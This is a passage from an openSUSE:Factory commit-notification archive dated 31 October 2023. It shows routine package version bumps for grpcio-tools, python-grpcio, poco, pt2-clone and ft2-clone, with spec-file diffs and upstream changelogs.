'--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/grpcio-tools-1.59.0/grpcio_tools.egg-info/PKG-INFO new/grpcio-tools-1.59.2/grpcio_tools.egg-info/PKG-INFO --- old/grpcio-tools-1.59.0/grpcio_tools.egg-info/PKG-INFO 2023-09-29 01:35:25.000000000 +0200 +++ new/grpcio-tools-1.59.2/grpcio_tools.egg-info/PKG-INFO 2023-10-30 19:07:39.000000000 +0100 @@ -1,6 +1,6 @@ Metadata-Version: 2.1 Name: grpcio-tools -Version: 1.59.0 +Version: 1.59.2 Summary: Protobuf code generator for gRPC Home-page: https://grpc.io Author: The gRPC Authors @@ -15,7 +15,7 @@ Requires-Python: >=3.7 Description-Content-Type: text/x-rst Requires-Dist: protobuf<5.0dev,>=4.21.6 -Requires-Dist: grpcio>=1.59.0 +Requires-Dist: grpcio>=1.59.2 Requires-Dist: setuptools gRPC Python Tools diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/grpcio-tools-1.59.0/grpcio_tools.egg-info/requires.txt new/grpcio-tools-1.59.2/grpcio_tools.egg-info/requires.txt --- old/grpcio-tools-1.59.0/grpcio_tools.egg-info/requires.txt 2023-09-29 01:35:25.000000000 +0200 +++ new/grpcio-tools-1.59.2/grpcio_tools.egg-info/requires.txt 2023-10-30 19:07:39.000000000 +0100 @@ -1,3 +1,3 @@ protobuf<5.0dev,>=4.21.6 -grpcio>=1.59.0 +grpcio>=1.59.2 setuptools

1 0

commit python-grpcio for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package python-grpcio for openSUSE:Factory checked in at 2023-10-31 20:26:14 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-grpcio (Old) and /work/SRC/openSUSE:Factory/.python-grpcio.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-grpcio" Tue Oct 31 20:26:14 2023 rev:34 rq:1121402 version:1.59.2 Changes: -------- --- /work/SRC/openSUSE:Factory/python-grpcio/python-grpcio.changes 2023-10-05 20:05:15.723284362 +0200 +++ /work/SRC/openSUSE:Factory/.python-grpcio.new.17445/python-grpcio.changes 2023-10-31 20:26:34.591872276 +0100 @@ -1,0 +2,6 @@ +Tue Oct 31 08:50:42 UTC 2023 - Atri Bhattacharya <badshah400(a)gmail.com> + +- Update to version 1.59.2: + * No python specific changes. + +------------------------------------------------------------------- Old: ---- grpcio-1.59.0.tar.gz New: ---- grpcio-1.59.2.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-grpcio.spec ++++++ --- /var/tmp/diff_new_pack.HjRf9R/_old 2023-10-31 20:26:36.007924288 +0100 +++ /var/tmp/diff_new_pack.HjRf9R/_new 2023-10-31 20:26:36.007924288 +0100 @@ -21,7 +21,7 @@ %define skip_python2 1 %{?sle15_python_module_pythons} Name: python-grpcio -Version: 1.59.0 +Version: 1.59.2 Release: 0 Summary: HTTP/2-based Remote Procedure Call implementation License: Apache-2.0 ++++++ grpcio-1.59.0.tar.gz -> grpcio-1.59.2.tar.gz ++++++ /work/SRC/openSUSE:Factory/python-grpcio/grpcio-1.59.0.tar.gz /work/SRC/openSUSE:Factory/.python-grpcio.new.17445/grpcio-1.59.2.tar.gz differ: char 11, line 1

1 0

commit poco for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package poco for openSUSE:Factory checked in at 2023-10-31 20:26:12 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/poco (Old) and /work/SRC/openSUSE:Factory/.poco.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "poco" Tue Oct 31 20:26:12 2023 rev:9 rq:1121403 version:1.12.5 Changes: -------- --- /work/SRC/openSUSE:Factory/poco/poco.changes 2023-07-19 19:12:01.045051631 +0200 +++ /work/SRC/openSUSE:Factory/.poco.new.17445/poco.changes 2023-10-31 20:26:31.947775158 +0100 @@ -1,0 +2,66 @@ +Mon Oct 30 22:11:30 UTC 2023 - Martin Hauke <mardnh(a)gmx.de> + +- Update to version 1.12.5 + * Make POSIX event thread safe + * Remove SocketReactor dependency on Poco::Thread for sleeping + * ODBC::Binder UUID new/free mismatch + * PollSet filters out some events + * Use after free warnings + * receiveResponse() may not return response body stream + * Upgrade bundled pcre2 to 10.42 + * missing \r\n when setting trailer header in chunked response + * Initialisation of _socketIndex in SSLManager (OpenSSL) + * Add options to disable STDIO in child process + * pthread_getname_np' was not declared in this scope + * FileChannel::setRotation overflow + * Shutdown TLS1.3 connection + * Use Poco format instead of sprintf in Util + * Logging should evaluate only if the logging level is active + * PageCompiler: add referrerPolicy to page directive feature + * ODBC: SQL Anywhere Support + * Classes with virtual functions missing virtual destructors + (compilation issues) + * CPPParser: Losing data if parameter std::function<void(bool)> + is used + * wrong string offset in HTTPCredentials::isNTLMCredentials + * On UNIX platform, Poco::Path::getExtension() returns name of + the hidden file if no extension is present + * Fix dead lock on Timer destructor + * Poco::Net::SocketConnector constructor should take SocketAddress + by const reference + * The extractor in postgresql drops milliseconds + * CppParser throws exception when return value is specified to be + in global namespace + * Deadlock in Timer when one sync and one async cancel requests + are issued + * Static FastMutex fails to lock when issued from another thread + on linux + * NetSSL_OpenSSL: Support session resumption with TLSv1.3 + * Replace sprintf with snprintf in Environment and NumberFormatter + to avoid deprecation warnings + * zlib headers not updated + * HTTPClientSession::receiveResponse() gives NoMessage instead of + Timeout exception for SSL connection on Windows when using + OpenSSL 3.0.x + * DateTimeFormatter creates invalid ISO8601 string + * Reading from request stream hangs when "Transfer-Encoding: + chunked" is used + * Upgrade double-conversion to 3.3.0 + * Fix pthread_setname not declared + * optimize checkUpperLimit and checkLowerLimit in VarHolder.h + enhancement + * rename arc -> poco_arc + * Fixed Poco::format specifier for error code bug platform_specific + * fix #4005 Poco::Path::getExtension() + * Fix hang in destructor + * Fix thread counter leak + * Fix dead lock on Timer destructor + * Fix error handling with OpenSSL 3.0 in SecureSocketImpl.cpp + * Fix build for QNX platform_specific + * Fix data race when create POSIX thread + * Fixed compile error for OpenSSL 1.0 systems (#3739) + * Added system_error header to SockerProactor for std::error_code + * Fix epollfd validity checks when compiling with wepoll + * Fixed converting/correcting pre-gregorian dates (#3723) + +------------------------------------------------------------------- Old: ---- poco-1.12.4-release.tar.gz New: ---- poco-1.12.5-release.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ poco.spec ++++++ --- /var/tmp/diff_new_pack.ypedfH/_old 2023-10-31 20:26:33.083816886 +0100 +++ /var/tmp/diff_new_pack.ypedfH/_new 2023-10-31 20:26:33.095817326 +0100 @@ -16,11 +16,11 @@ # -%define sover 94 +%define sover 95 # disabled for now as 4 of them fail %bcond_with tests Name: poco -Version: 1.12.4 +Version: 1.12.5 Release: 0 Summary: C++ Framework for Network-based Applications License: BSL-1.0 ++++++ poco-1.12.4-release.tar.gz -> poco-1.12.5-release.tar.gz ++++++ /work/SRC/openSUSE:Factory/poco/poco-1.12.4-release.tar.gz /work/SRC/openSUSE:Factory/.poco.new.17445/poco-1.12.5-release.tar.gz differ: char 13, line 1

1 0

commit pt2-clone for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package pt2-clone for openSUSE:Factory checked in at 2023-10-31 20:26:10 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/pt2-clone (Old) and /work/SRC/openSUSE:Factory/.pt2-clone.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "pt2-clone" Tue Oct 31 20:26:10 2023 rev:7 rq:1121392 version:1.65 Changes: -------- --- /work/SRC/openSUSE:Factory/pt2-clone/pt2-clone.changes 2023-09-08 21:16:21.588226336 +0200 +++ /work/SRC/openSUSE:Factory/.pt2-clone.new.17445/pt2-clone.changes 2023-10-31 20:26:30.691729023 +0100 @@ -1,0 +2,11 @@ +Mon Oct 30 18:51:32 UTC 2023 - Martin Hauke <mardnh(a)gmx.de> + +- Update to version 1.65 + * Removed audio output dithering. It seemed to be wrongly + implemented anyway. + * Removed CTRL+G and CTRL+V keybinding (boost/filter all + samples) + * The BOOST (Edit Op. #3) function was not 100% accurate to + Amiga ProTracker. + +------------------------------------------------------------------- Old: ---- pt2-clone-1.64.tar.gz New: ---- pt2-clone-1.65.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ pt2-clone.spec ++++++ --- /var/tmp/diff_new_pack.PoPNS7/_old 2023-10-31 20:26:31.703766196 +0100 +++ /var/tmp/diff_new_pack.PoPNS7/_new 2023-10-31 20:26:31.707766342 +0100 @@ -17,7 +17,7 @@ Name: pt2-clone -Version: 1.64 +Version: 1.65 Release: 0 Summary: ProTracker 2 clone License: BSD-3-Clause AND CC-BY-NC-SA-4.0 ++++++ pt2-clone-1.64.tar.gz -> pt2-clone-1.65.tar.gz ++++++ /work/SRC/openSUSE:Factory/pt2-clone/pt2-clone-1.64.tar.gz /work/SRC/openSUSE:Factory/.pt2-clone.new.17445/pt2-clone-1.65.tar.gz differ: char 13, line 1

1 0

commit ft2-clone for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package ft2-clone for openSUSE:Factory checked in at 2023-10-31 20:26:09 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/ft2-clone (Old) and /work/SRC/openSUSE:Factory/.ft2-clone.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "ft2-clone" Tue Oct 31 20:26:09 2023 rev:6 rq:1121391 version:1.73 Changes: -------- --- /work/SRC/openSUSE:Factory/ft2-clone/ft2-clone.changes 2023-10-05 20:06:15.337438027 +0200 +++ /work/SRC/openSUSE:Factory/.ft2-clone.new.17445/ft2-clone.changes 2023-10-31 20:26:29.263676570 +0100 @@ -1,0 +2,8 @@ +Mon Oct 30 18:53:32 UTC 2023 - Martin Hauke <mardnh(a)gmx.de> + +- Update to version 1.73 + * Sample editor: Shift + mouse-wheel = scroll sample data view +- Update to version 1.72 + * Block Cut (ALT+F3) and Block Copy (ALT+F4) was broken in v1.70 + +------------------------------------------------------------------- Old: ---- ft2-clone-1.71.tar.gz New: ---- ft2-clone-1.73.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ ft2-clone.spec ++++++ --- /var/tmp/diff_new_pack.4TWRje/_old 2023-10-31 20:26:30.079706544 +0100 +++ /var/tmp/diff_new_pack.4TWRje/_new 2023-10-31 20:26:30.079706544 +0100 @@ -17,7 +17,7 @@ Name: ft2-clone -Version: 1.71 +Version: 1.73 Release: 0 Summary: Fasttracker II clone License: BSD-3-Clause AND CC-BY-NC-SA-4.0 ++++++ ft2-clone-1.71.tar.gz -> ft2-clone-1.73.tar.gz ++++++ ++++ 2842 lines of diff (skipped)

1 0